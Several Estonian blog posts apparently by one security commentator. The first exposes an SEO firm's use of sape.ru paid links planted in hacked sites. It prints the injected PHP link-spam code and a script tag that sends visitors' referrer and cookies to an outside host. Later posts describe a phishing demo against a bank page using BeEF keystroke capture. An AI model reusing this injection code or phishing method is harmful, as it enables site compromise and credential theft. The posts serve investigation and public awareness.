Lühike sisuline sünops on järgnev:

• Optim Technology nimeline seltskond pakub väidetavalt oma SEO-laboris väljatöötatud lahendust aitamaks saitidel skoorida Google’is jt otsimootorites
• Tegelikult kasutatakse selleks lingibörse (vallaveebi juhtumi puhul venelaste sape.ru) ehk teenuseid, mis võimaldavad ühel poolel paigutada veebi tekstilinkide müümise koodi ja teisel poolel neisse veebidesse linke osta
• Lingibörsidesse on sisse ehitatud mh pidev monitooring, nt kui Google võtab linke müünud saidi oma indeksist maha peatub automaatselt reklaam/rahavoog jne – ehk kõik mänguosalised on teadlikud, et otsimootorid peavad sellist tegevust lubamatuks ning tegelevad igapäevaselt aktiivse kassi-hiire-mänguga
• Lingibörsi kood satub veebidesse mitmel moel – leidub pisemate saitide omanikke kes kasutavad võimalust raha teenida (mh on suht mõttetu sisuga liiklust suunavate minisaitide pidamine täiesti eraldi tegevusvaldkond SEO-maailmas), on veebimeistreid kes klientide teadmata nende veebe ära kasutavad – ja lisaks on hea äri-idee häkkida massiliselt veebisaitidesse pannes need linke kuvama
• Vaadates Optimi ja nende klientide sape.ru börsilinke paistab, et .ru puhul on tegemist peamiselt linke müüvate veebidega ja mitte-.ru puhul häkitud saitidega – muuhulgas jäi silma, et samal päeval (öösel) saates mainitud vallaveebiga on täpselt sama kood lisatud ka ühte hispaaniakeelsesse veebi ehk tegu on olnud business-as-usual häkkeriga kes tõenäoliselt hankis endale veidike FTP-paroole ja asus nende abil raha teenima (vaadates vallaveebi logisid pakun, et häkker on pärit vene/ukraina suunalt)

Pärast Pealtnägija intervjuud on Optim lisanud oma veebi tööriista mis peaks aitama leida veebilehele peidetud spämm-linke ning deklaratsiooni:

Optim Technology eksperimenteerib aktiivselt rahvusvaheliste tehnoloogiatega, mis hõlmavad ka lingibörside kasutamist. Samas soovime, et linkide müük Eesti Vabariigis toimuks 100% seaduslikel alustel. Pole midagi halba selles, kui koduleht osaleb lingibörsidel lehe omaniku soovil ning teenides omanikule lisatulu. Samuti tuleks sellisel viisil teenitud tulult maksta ka seadustega määratud maksud.

Paraku on Optim kas jätnud lugemata Google’i veebimeistritele mõeldud Quality guidelines’i (ehk nad ei jaga SEO’st ööd ega mütsi, milles ma sügavalt kahtlen) või eksitab tahtlikult oma kliente – sest vägagi selge sõnaga on seal öeldud nii:

Avoid tricks intended to improve search engine rankings. A good rule of thumb is whether you’d feel comfortable explaining what you’ve done to a website that competes with you. Another useful test is to ask, “Does this help my users? Would I do this if search engines didn’t exist?”

Don’t participate in link schemes designed to increase your site’s ranking or PageRank. In particular, avoid links to web spammers or “bad neighborhoods” on the web, as your own ranking may be affected adversely by those links.

Tegemist ei ole muideks mingi uue teemaga, näiteks jääb kiire guugeldamisega näppu Matt Cutts’i postitus aastast 2005 Text links and PageRank - ehk Google tegeleb aktiivselt sellega, et tabada müüdud linke ning vältida nende arvestamist otsitulemuste järjestamisel.

Olgu lisatud, et peidetud linkide avastamisel saab linkiv sait nipsti indeksist kinga – näiteks sattusin ma 2009-suvel mõnede Eesti saitide peale mille sappa oli neid haldav veebimeister lisanud lingid parim-ee kataloogi alamlehtedele. Palusin saidi-omanikul lisada lehele Google Webmasters Tool’i tuvastuskoodi ja sain peagi näha järgmist teadet (kuna veebimeister on vahepeal vahetunud peidan saidi nime):

Ja otseloomulikult pole Google’i poliitikas midagi erakorralist, ka kõik teised otsimootorid näevad vaeva pakkumaks “orgaanilisi” tulemusi … ja kes mõistab venet võib vaadata (arvatavasti autorikaitse eesmärgil suvaliste klipijuppidega pikitud) intervjuud Война между Яндекс и биржой ссылок sape.ru kus viimase tehnikapealik selgitab süsteemi tööd. Muideks – isegi Optimi ärimudel “arve ainult toimiva positsioneerimise eest” ei ole unikaalne vaid lingibörsi-vahenduse vallas pigem tavapärane.

Tänu tegelastele nagu sape.ru ja selliste teenuste pisivahendajatele nagu Optim saavad kasutajad otsitulemusi mis ei vii neid mitte parima kliendireputatsiooniga ettevõtte juurde vaid seltskonda keda ei häiri ebaeetiline turundus kanalites mille peamiseks kasutajaks tunduvad olema saidid stiilis asian-t33n-pr0n-com ja russian-mail-order-brides-co-uk.

Septembri algul teemaga tegeledes jäi silma näiteks selline valik Eesti ettevõtete domeene mis kasutasid sape.ru börsi teenust (samadel saitidel oli ka Optimi enda linke miska tundub, et tegemist on nimelt nende klientide ja mitte omal-käel-üritajatega): aknauksemaailm-ee, sfinksehitus-ee, kodusisu-ee, call-ee, veebiabi-ee, planb-ee, lenovo-ee, ereal-ee, kauponline-ee, uksetehas-ee, gidrocity-ee. Pealtnägija tarbeks tehtud helita kattevideo otsimisest, leidmisest ja peidetud linkidest leiab siit.

Kui leiad siit nimekirjast oma konkurendi (või lihtsalt on veidi aega üle) siis soovitan teha otsing stiilis link:uksetehas.ee ning seejärel astuda läbi Google Webmaster Tools all olevast Report paid links tööriistast (eeldab sisselogimist) ning täita vorm.

Nüüd aga tiba tehnilisemaks – kuidas siis asi käib? Hea ülevaate linkide ostmisest SAPEs annab nende enda õppevideo http://vimeo.com/23869111 ja tõepoolest, tegemist on väga vinge tööriistaga mis muuhulgas võimaldab otsida sobilikke saite lähtuvalt märksõnadest ja pagerank’ist, hallata keerulisi kampaaniad ning kontrollida ostetud linkide toimimist.

Veebimeistri jaoks on olemas õpetused kõigi tuntud sisuhalduslahenduste jaoks – reeglina PHP-kood mis suhtleb SAPE serveriga, hangib sealt värksed lingid ning siis kuvab need veebilehel sobilikus kohas. Kood sokutatakse sisuhalduses mõnda vähekäidavasse nurgatagusesse ja näiteks Lasva valla veebi puhul pöördus selle poole jupike Typo3 index.php sabas:

$sp_script = $_SERVER['DOCUMENT_ROOT'].'/fileadmin/tv-templates/template1/images/401.php';
$style="<style type=\"text/css\">\nhtm, bod {\n\tpadding: 0;\n\tmargin: 0;\n\theight: 100%;\n}\n\n";
$style.="#sp, #sp a {\n\tfont-size: 9px;\n\tcolor: #E8E8E8;\n\tborder-bottom: none;\n\tclear: both;\n}\n</style>\n\n";
while(is_integer(strpos($contents,"<a ")) && is_integer(strpos($contents,"</a>")))
{
$new_contents.=substr($contents,0,strpos($contents,"<a "));
$contents=substr($contents,strpos($contents,"<a "));
$ahref = substr($contents,0,strpos($contents,"</a>")+4);
$contents=substr($contents,strpos($contents,"</a>")+4);
if (!strpos($ahref,"href=\"http://".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href=\"<a href="http://www">http://www</a>.".$_SERVER['HTTP_HOST']) && !strpos($ahref,"href='http://".$_SERVER['HTTP_HOST']) &&
!strpos($ahref,"href='<a href="http://www">http://www</a>.".$_SERVER['HTTP_HOST']) && strpos($ahref,"http"))
{ $ahref=str_replace("<a ","<noindex><a ",$ahref); $ahref=str_replace("</a>","</a></noindex>",$ahref);$ahref=str_replace("<\\/a>","<\\/a></noindex>",$ahref); }
$new_contents.= $ahref;
}
$new_contents.=$contents;
if (strpos($new_contents,"</body>") && strpos($new_contents,"</head>"))
{
$new_contents = str_replace("</head>",$style."</head>",$new_contents);
$new_contents = str_replace("charset=iso-8859-1","charset=utf-8",$new_contents);
$new_contents = str_replace("charset=ISO-8859-1","charset=UTF-8",$new_contents);
echo substr($new_contents,0,strpos($new_contents,"</body>"));
require_once($sp_script);
echo substr($new_contents,strpos($new_contents,"</body>"));
}
else { echo $new_contents; }

Nagu näha lisatakse saidi enda linkidele ühtlasi noindex vältimaks väärtusliku “lehemahla” lahjendamist mitte-börsi linkide poolt. Väga kaunis ja professionaalne :-)

Pealtnägija jaoks tehtud teises kattevideos soovitaks aga eraldi vaadata kohta mis algab ca 1:20 peal – seal on näha konkreetse lingibörsikasutaja kood ning kui seda guugeldada tuleb välja üks hispaaniakeelne sait … mis on juhtumisi saanud endale börsikoodi samal päeval Lasva veebiga ehk 08.11.2010:

Sarnast SAPE-linkide märgendust ehk <div id=’sp’> hakkas silma veel mitmes saidis, enamus neist Dreamhost’i all:

• go.org.nz 69.163.150.4 apache2-udder.brewers.dreamhost.com
• www.lgc.org 69.163.167.250 apache2-emu.reds.dreamhost.com
• datingfoundry.com 69.163.185.120 apache2-linus.yaounde.dreamhost.com
• www.sumaqperu.com 69.163.204.191 apache2-fritz.suva.dreamhost.com
• www.gundaroobushfestival.org.au 69.163.179.108 apache2-prance.vikings.dreamhost.com
• www.bogotabiketours.com  69.163.172.12 apache2-adamant.bulls.dreamhost.com
• escuelasinestres.org 69.163.203.250 apache2-emu.sansalvador.dreamhost.com
• cnuny.org 188.120.245.97 heyhosting.com
• eutcartagena.es 212.36.82.107 fnhca-29.srv.cat

Tiba erinev tehnoloogia ehk teksti sisse pikitud lingid jäid silma saitides:

• forestig.com
• macyscoffee.com
• www.punjabjustice.org

Kohvi-saidist leiab muideks keset ajalooteksti lingi veebiabi-ee peale… ja tellimise lehelt Optimi enda taanikeelse saidi promo:

Päris alati ei pruugi saidi häkkimine aga peidetud tekstilinkidega piirduda – sattusin peale ka sellisele saidile nagu www.campnuhop.org kus lehesabas olev kood nägi välja palju huvitavam:

See pikk liitmistehe annab tulemuseks uue koodjupi:

<script src="http://sbdtds.com/acounter.js?r=&c=&i=bc193015995f14dc4cefc81636413366a&h=campnuhop"></script>

Nagu näha (vaata kasvõi kattevideo liikuvad pilti) käivitatakse kasutaja brauseris javascript mille alla-laadimise käigus teavitatakse serverit muuhulgas kasutusel olevast brauserist… ja see c= parameeter sisaldanuks saidi cookie’t (mis võimaldaks mh tulevikus minuna sisse logida) ning r= refereri (ehk kuidas kasutaja laagri lehele tuli). Vot nii.

Kes oskab ja tahav kaevab (või kaebab) edasi, mina nüüd jälle jupp aega meedias ei esine (see siin oli lihtsalt liiga huvitav juhtum – olen nimelt mõnda aega pisteliselt peidetud linkide teemaga kokku puutunud ning aidanud veebe puhastada / turvaintsidente lahendada; lisaks mainis Mihkel Kärmas mulle teemat kohas mille veebis ma 2009-suvel esimest korda peidetud linkidega kokku puutusin … ning ma lihtsalt ei saanud jälgida oma head tava anda veidi taustainfot ja siis ajakirjanik pikalt saata; jamuideks, guugeldage veidi ja tekib tunne, et ka Optimi taga on PR- ja ajakirjandusteaduskonna lõpetanud :-).

• cybersecurity.ee: 2008-04-07 – Эстония опасается повторения хакерских атак / Kas küberrünnakud tulevad taas?, 2008-04-08 – MayDay: предполагаемое оружие кибервойны-2008 / MayDay: uus relv küberrünaku korraldamiseks?, 2008-04-09 – Новые кибератаки: 50 на 50? / Uute küberrünnakute tõenäosus on 50:50?
• infosecurity.ee (venekeelne Arvutikaitse): 2008-04-08 MayDay: оружие для кибератаки? ja 2008-04-09
• arvutikaitse.ee: 2008-04-08 Kuulujutt: valmistatakse ette kübersõja kordust
• EPLO: 2008-04-09 Andmeturbespetsialist: uute küberrünnakute tõenäosus on 50:50

Kõik need keerlevad Dmitri Kuznetsovi ümber – cybersecurity.ee juures pole autorit mainitud, aga see tundub olema tema projekt, samuti sealt edasi viidatud saidid nagu hermitage.ee (ja mõistagu PIT Consulting kah). Infosecurity.ee peal kajastab teemat Dmitri, Arvutikaitse.ee viitab Dmitrile jne.

Ehk meil on üks tubli infoturbe müügitegelane, kes aktiivselt levitab “kuulujuttu” mis on tõusnud juba 50:50 riskianalüüsiks. Rääkisin Dimaga kes oli ka nii lahke ja viis mind kokku oma hinnangu allikaga – ja ma ei saanud isegi ühtegi vihjet mis viitaks sellele, et kellelgi on kusagil kunagi olnud mingisugunegi seos Mayday ja potentsiaalse rünnaku vahel.

Mul hakkas kohe kergem. Kartsin nimelt, et vahest tegin Dimale liiga kui EPLile tsitaati andes “ärevat mõttelaadi” mainisin – aga ilmneb, et mul oli õigus. Ja peavoolumeediale soovitus, et kui kolmest küsitletust kaks annavad mõistu-vastuseid jõulukuuskedest ja küünaldest, siis võiks teha loo pigem sellest miks see kolmas ekspert oma uudisega nii järsku välja ujus. Uudis saab vingem ja sellest on lugejatele ka reaalset kasu.

There’s nothing like an vague unsubstantiated rumor to forestall reasoned discussion.

Kas keegi palun aitaks mul leida Postimehe loo Viiruse riisutud pangaklientide arv võib ulatuda sadadesse pealkirjaväite päritolu? Ajakirjanikult küsimise nipp proovitud, ei andnud tulemust (allikakaitse jne). Hansapanga väitel on “detsembri keskpaigast” alates “nende poole pöördunud” kümme klienti. Kuhu ja mis aja jooksul pöördusid ülejäänud 490?

Sest juhul, kui täiesti uut tüüpi viirused ründavad spetsiaalselt Hansapanka ning suudavad kontodelt kasutajatele märkamatult raha kõrvaldada (kodanikel soovitatakse lausa netipanga-seansi lõpus kontojääki kontrollida) muutes maksekorralduse andmeid… siis on uudisekünnis tõega ületatud ja me võime muuhulgas IDkaarti murtuks lugeda.

AGA. Saate lühidaks kokkuvõtteks võib öelda, et tegu on üsna tavaliste troojalastega (õigem oleks vist öelda ‘nende loomise töövahenditega’) mis juba mõni aasta arenduses olnud ja evolutsiooni käigus mõistagi ka vingemaks muutunud. Teadaolevad ründed on kah üsna harilikud, tõsi paroolide kogumisele on lisandunud interaktiivsus ehk midagi sellelaadset mida ma Pealtnägijale demosin (kasutaja sisestab koodi ning samal ajal logib keegi kusagil mujal sellega sisse). PINkalkulaator on rünnatav (Hansa on aga kohe-kohe muutmas selle kasutusloogikat, st küsides PINi ka makse tegemisel), IDkaart täna veel mitte.

Ja lisaks… Komistame me otsa ka avatud/suletud WiFi teemale: Neeme Korv: miks te ukse lahti jätate? ja Bruce Schneier: My Open Wireless Network, räägime bluetooth-kõrvakomplektide ebaturvalisusest… ja iga külaline räägib oma versiooni sellest, mis võiks tegelikult olla nn pangaviiruste (ja küberrünnete) taga.

Netiversioon on 58 minutit ehk pikem kui eetris olnud saade.

Lae alla ja kuula: [ MP3 26.5MB ] [ OGG 55.0MB ]

Täpsemad detailid pärast saadet, seni võib leida taustalugemist laupse Tehnokrati postitusest (ning saadet võib muidugi kah kuulata, sisu paljuski samasuunaline): arvutikaitse ja kuritarkvara (osa saate juurde puutuvaid kommentaare on varasema kolimis-postituse juures).

EDIT2: Postimehes pikem lugu kah: Netis pakutav varastatud info ahvatleb noori kuritegudele

EDIT: nüüd on vist kohane lisada paar sõna tehtud eksprimendi kohta. Nimelt lubasin Rasmusele teemat kommenteerida ja mõtlesin, et peaks nagu tegema midagi peale loba… ehk oleks vaja mingit phishingut, keyloggerit, kuhugi sissemurdmist… Probleemile on kaks lahendust: otsida Google’ist või küsida Tõnu Samuelilt. Paadunud Google’i-fännina küsisin mõistagi kõigepealt Samuelilt mida tema demoks pruugib:

Tõnu Samuel @ Räpina 1/2/08 12:13 PM

ma rohkem rahvale brauseri auke näidanud

brauserist saab clipboardi varastada jms

see ehmatab neid tavaliselt rohkem

Peeter Marvet 1/2/08 12:14 PM

millega sa seda demod, miski veebisait?

Tõnu Samuel @ Räpina 1/2/08 12:14 PM

beef

mul tegelt mitu asja tehtud aga otsi beef xss

Tõesti, bindshell.net/tools/beef sobib demoks kenasti: veebirakendus mis lubab sobilikule lehele javascripti istutada ning siis seda lehte külastavate kodanike ehk zombide tegevust jälgida ja võimalust mööda ka juhtida. Pikema jutu asemel vaadatagu autorite ekraaniviisorit.

Aga kuna ma ei viitsinud clipboardi varastamiseks vajalikku IEd installima hakata, siis jäi silma võimalus näha mida kasutaja tipib. Seega phish, vabalt netis saada olev demo-sploit ja miski sihtmärk… Milleks olgu tähestiku järjekorras esimene pank (mille PIN-kalkulaator mul juhtumisi olemas on).

Firefox’is hanzaneti esilehele Save-as, veidi mudimist Notepad’is (kuna kõik ei salvestunud hästi ning tundus hea mõte lisada teavitus eksperimendist… ning mõistagi väike skript sploidi tarbeks) ja tulemus kuhugi välja. Jah, teles vilksanud pencillin.net on minu domeen, asub makstud hostingus ning neil on isegi mu IDkaarti skänn olemas (kuna nad muidu ei lubanud SSH ligipääsu). Ei, sealt pole enam mõtet BeEF’i otsida :-)

Iseenesest pole see teab mis hull häkk või turvaauk, st otseloomulikult suudab lehel X olev javascript andmeid kuhugi serverisse saata (mh AJAX põhineb sellel), aga sellegipoolest huvitav näha kuidas ühes arvutis tipitud numbrid teises nähtavale ilmuvad. Tegin proovi PIN-kalkulaatoriga ja asi toimis nigu naksti (ainsa probleemina ei edastanud BeEF kasutajatunnuse alguses olevat nulli, aga see on tõenäoliselt kergelt paigatav). Arenduse käigus võiks muidugi kasutajatunnuse ja parooli kenasti märgendatuna edastada ning teisel pool võiks olla skript, mis nendega kohe ka sisse logida üritab…

Ainult et päev pärast eksperimenti – ja enne kui ma neid inffida jõudsin – helistas JP Hansapangast ja teatas, et ta kolleegid olevat avastanud mingi ajakirjandusliku eksperimendi ning ta tahaks (a) teada mis see (b) et see saaks ruttu maha võetud. Ma ei hakka igaks juhuks uurima mis minu tegevuses täpselt neile silma hakkas (vahest mõni lehe salvestamise käigus kaasa tulnud javascript helistas koju?), aga väidetavasti olevat selliste asjade ennetähtaegne avastamine pigem reegel kui erand. Rspct!

Moraal? Kuigi Swen (kelle seisukohtadega ma üldjoontes nõustun) on laupset saadet / postitust kommenteerides pidanud vajalikuks rõhutada IDkaardi rünnatavust… siis ma väidan, et kui kaardi-ja-PINide-loovutamine kõrvale jätta ei piisa selle saavutamiseks minusuguse keskmise kasutaja küsimusest Tõnule (või Swenile) ja 15-minutilisest häkist.